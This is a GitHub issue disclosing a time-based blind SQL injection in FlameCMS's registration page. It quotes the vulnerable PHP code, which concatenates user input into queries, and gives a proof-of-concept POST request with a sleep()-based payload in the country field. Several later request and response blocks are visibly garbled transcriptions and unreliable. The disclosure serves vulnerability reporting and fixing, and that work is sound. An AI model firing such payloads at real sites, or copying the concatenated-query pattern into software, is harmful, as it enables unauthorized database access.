

## sql injection vulnerability (2) #26

Closed blackjiuyun opened this issue on Oct 17, 2019 · 2 comments

blackjiuyun commented on Oct 17, 2019

Hello

There is a Time-based blind injection vulnerability here too:

FlameCMS-master/account/register.php

```

if(isset($_POST['submit']))
{
    $country      = $_POST['country'];
    $dobd         = $_POST['dobDay'];
    $dobM         = $_POST['dobMonth'];
    $dobY         = $_POST['dobYear'];
    $dob          = date('format: "Y-m-d", strtotime( time: $dobY . "-" . $dobM . "-" . $dobd));
    $firstName    = filter_var($_POST['firstname'], filter: FILTER_SANITIZE_STRING);
    $lastName     = filter_var($_POST['lastname'], filter: FILTER_SANITIZE_STRING);
    $email        = filter_var($_POST['emailAddress'], filter: FILTER_VALIDATE_EMAIL);
    $password     = filter_var($_POST['password'], filter: FILTER_SANITIZE_STRING);
    $question     = filter_var($_POST['question1'], filter: FILTER_SANITIZE_STRING);
    $answer       = filter_var($_POST['answer1'], filter: FILTER_SANITIZE_STRING);
    $sha_pass_hash = sha1( $str strtoupper($email) . ":" . strtoupper($password));
    $code         = md5(uniqid(rand()));
}

```

```

if(filter_var($email, filter: FILTER_VALIDATE_EMAIL)){
    $checkEmailSQL = $connect->Connect()->query( query: "SELECT * FROM account WHERE email = '".$email."'");
    $checkEmail = mysqli_num_rows($checkEmailSQL) > 0;
    if($checkEmail){
        echo '
        <div class="alert error border-4 glow-shadow" style=" ...>
        <meta http-equiv="refresh" content="2;url='.$ACCOUNT_URL.'register"/>
        }
        }
        else
        {
            //echo "INSERT INTO `account`(`first_name`,`last_name`,`email`,`password`,`secret_question`,`answer_question`,`country`,`date of birth`,`activation`)'";
            $createAccount = $connect->Connect()->query( query: "INSERT INTO `account`(`first_name`,`last_name`,`email`,`password`,`secret_question`,`answer_question`,`country`,`date of birth`,`activation`)" );
            register->accountCreate($email, $password);
            if($createAccount)
            {
                $to = $email;
                $subject = "Confirmation from ".$TITLE." to ".$firstName." ".$lastName."";
                $header = ": Confirmation from ".$TITLE."";
                $message = "Please click the link below to verify and activate your account. \r\n";
                $message .= " ".BASE_URL."confirm/passkey=".$code."";
            }
        }
    }
}

```

poc :

POST /FlameCMS-master/account/register?XDEBUG\_SESSION\_START=16052 HTTP/1.1

Host: 127.0.0.1:8888

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:69.0) Gecko/20100101 Firefox/69.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-Type: application/x-www-form-urlencoded

Content-Length: 379

Connection: close

Referer: http://127.0.0.1:8888/FlameCMS-master/account/register?XDEBUG\_SESSION\_START=19560

Cookie: bdshare\_firsttime=1521359417238; \_ga=GA1.1.1769867541.1569134195; mprctl-v4\_CCABAE13={'gs':{'ie':{'dt':'719f10ea1d9f664eab8238c61651c212'}'cgid':'319bce97-c8d8-46c5-8392-475ba6458c8a'}'das':{'52a59f82-afe9-4f23-a231-edd8a11fc7d1'}'l':0}'2092622027007090544'; {fst:1569134198283}{'cu':'2092622027007090544'}; PHPSESSID=dc9b176c866392458b9562d3f8f6840;

XDEBUG\_SESSION=16052

Upgrade-Insecure-Requests: 1

```

csrftoken=6d42030c-2ad6-4fa2-b3be-0ba74e5aa7aa&country=CRtest'concat('test',(select
sleep(if(length(user())>1,1,0))),333');#&ret=&sourceType=&dobMonth=1&dobDay=1&dobYear=2015&firstname=11111&lastname=11111&emailAddress=431%4011.com&emailAddressConfirm
ation=431%4011.com&password=11111&rePassword=11111&question1=19&answer1=BMW&agreedToChatPolicy=true&agreedToU=true&submit

```

[illegible][illegible]

```
POST /FlameCMS-master/account/register?XDEBUG_SESSION_START=16052 HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 377
Connection: close
Referer: http://127.0.0.1:8888/FlameCMS-master/account/register?XDEBUG_SESSION_START=19560
Cookie: bdshare_firsttime=1521359417238_oG=GA1.1.7169867541.1569134195;
mprnd-vt_CASBAE3ts=[js]:"[c]"["1"]["7719f0e4da9f664ca3b238ea61651212"] ["gid":"319bec97-e8d8-46e5-8392-475ba6458e8a"];id='s'52a59f82-afe9-4d23-a231-eddb811fc7d1';[T510]:2092622027007090544;[Yst]:1569134198283];['cu':2092622027007090544)];
PHPSIDSSID=d9b17f8c66392458b9562d3f8f8f6840;XDEBUG_SESSION=16052
Upgrade-Insecure-Requests: 1

csrfkeygen=f42703bc2a6f24fa2bbbe4ba74c5aa7aad&country=CR&text%27(select
also%27if(length(user%27)>1&(0)))%33%27);&rec=&sourceType=AdobMonth=1&dobDay=1&dobYear=2015&firstname=11111&
atname=111111&kemailAddress=21%401.com&kemailAddressConfirmation=21%401.com&password=11111&rePassword=11111&question1=19&answerwefl=bmw&agreedToCharPolis=true&agreedToTouUs=true&submit=
```

```
HITTTT! 1.200 OK
Date: Thu, 17 Oct 2019 06:27:14 GMT
Server: Apache
X-Powered-By: PHP/5.3.38
Set-Cookie: XDRBURC_SESSION=1603d; expires=Thu, 17-Oct-2019 10:27:14 GMT; Max-Age=3600; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-control: private
Connection: close
Content-Type: text/html
Content-Length: 11028

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" class="en-gb">
<head xmlns:og="http://ogp.me/ns#" xml:lang="http://ogp.me/ns#" />
<meta http-equiv="image-suffix" content="title"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
<!-- YOU CAN TOUCH NOW -->
<!-- If you know what you're doing -->
<!-- Description of CMS -->
<meta name="description" content="Flame.NET is a free CMS developed by Flame.NET Team for World of Warcraft Emulated Servers"/><!-- Description of CMS END -->
<title>111111</title>
<!-- The Styles & Javascripts of the CMS -->
<link rel="shortcut icon" href="/resources/images/logos/favicon.png"/>
<link rel="search" type="application/opensearchdescription+xml" href="en-gb/data/opensearch/" title="Bottle.net Search"/>
<link rel="stylesheet" type="text/css" media="all" href="/resources/account/static/local-common/css/common.css"/>
<link rel="stylesheet" type="text/css" media="all" href="/resources/account/static/css/bmc.css"/>
<link rel="stylesheet" type="text/css" media="print" href="/resources/account/static/css/bmc-print.css"/>
<link rel="stylesheet" type="text/css" media="all" href="/resources/account/static/css/legal/ratings.css"/>
<link rel="stylesheet" type="text/css" media="all" href="/resources/account/static/css/inputs.css"/>
<link rel="stylesheet" type="text/css" media="all" href="/resources/account/static/css/accoutn/*[unstreamlined-creation.css]"/>
<link rel="stylesheet" type="text/css" media="all" href="/resources/account/static/css/locale/en-gb.css"/>
<script type="text/javascript">sc="/resources/account/static/js/third-party/jquery-1.7.min.js"</script>
<script type="text/javascript">sc="/resources/account/static/local-common/js/third-party/class-inheritance.js"></script>
```

```

HTTP/1.1 200 OK
Date: Thu, 17 Oct 2019 09:58:55 GMT
Server: Apache
X-Powered-By: PHP/5.3.38
Set-Cookie: XDDEBUG_SESSION=16032; expires=Thu, 17-Oct-2019 10:58:55 GMT; Max-Age=3600; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-control: private
Connection: close
Content-Type: text/html
Content-Length: 16660

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" class="en-gb">
<head xmlns:og="http://ogp.me/ns#" xmlns:cs="http://ogp.me/ns/fb#">
<meta http-equiv="image:toolbars" content="no" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<!-- YOU CAN TOUCH NOW -->
<!-- (If you know what you're doing) -->
<!-- Description of CMS -->
<script name="description" content="Flame.NET is a free CMS developed by Flame.NET Team for World of Warcraft
Emulated Servers" /> <!-- Description of CMS END -->
<title>111111</title>
<!-- The Styles & Javascripts of the CMS -->
<link rel="shortcut icon" href="testassets/images/logos/favicon.png"/>
<link rel="search" type="application/opensearchdescription+xml" href="en-gb/data/opensearch" title="Battle.net
Search"/>
<link rel="stylesheet" type="text/css" media="all" href="testassets/account/static/loot-common/cs/common.css" />
<link rel="stylesheet" type="text/css" media="all" href="testassets/account/static/cs/bnet.css" />
<link rel="stylesheet" type="text/css" media="print" href="testassets/account/static/cs/bnet-print.css" />
<link rel="stylesheet" type="text/css" media="all" href="testassets/account/static/cs/legal/ratings.css" />
<link rel="stylesheet" type="text/css" media="all" href="testassets/account/static/cs/inputs.css" />
<link rel="stylesheet" type="text/css" media="all" href="testassets/account/static/cs/inputs.css" />
<link href="testassets/account/static/js/creation-creation/streamlined-creation.css" />
<link href="testassets/account/static/js/creation-creation/streamlined-creation.css" />
<script type="text/javascript" src="testassets/account/static/loot-common/js/third-party/jquery-1.7.1.min.js" /> </script>
<script type="text/javascript" src="testassets/account/static/loot-common/js/common/bootstrap.js" /> </script>
<script type="text/javascript" src="testassets/account/static/loot-common/js/third-party/class-inheritance.js" />
</script>
</html>

```

Contributor

 **tlcd96** pushed a commit that referenced this issue on Oct 17, 2019

5ca16b3

Contributor

Assignees

No one assigned

---

Labels

None yet

---

Projects

None yet

---

Milestone

No milestone

---

Development

No branches or pull requests

---

2 participants

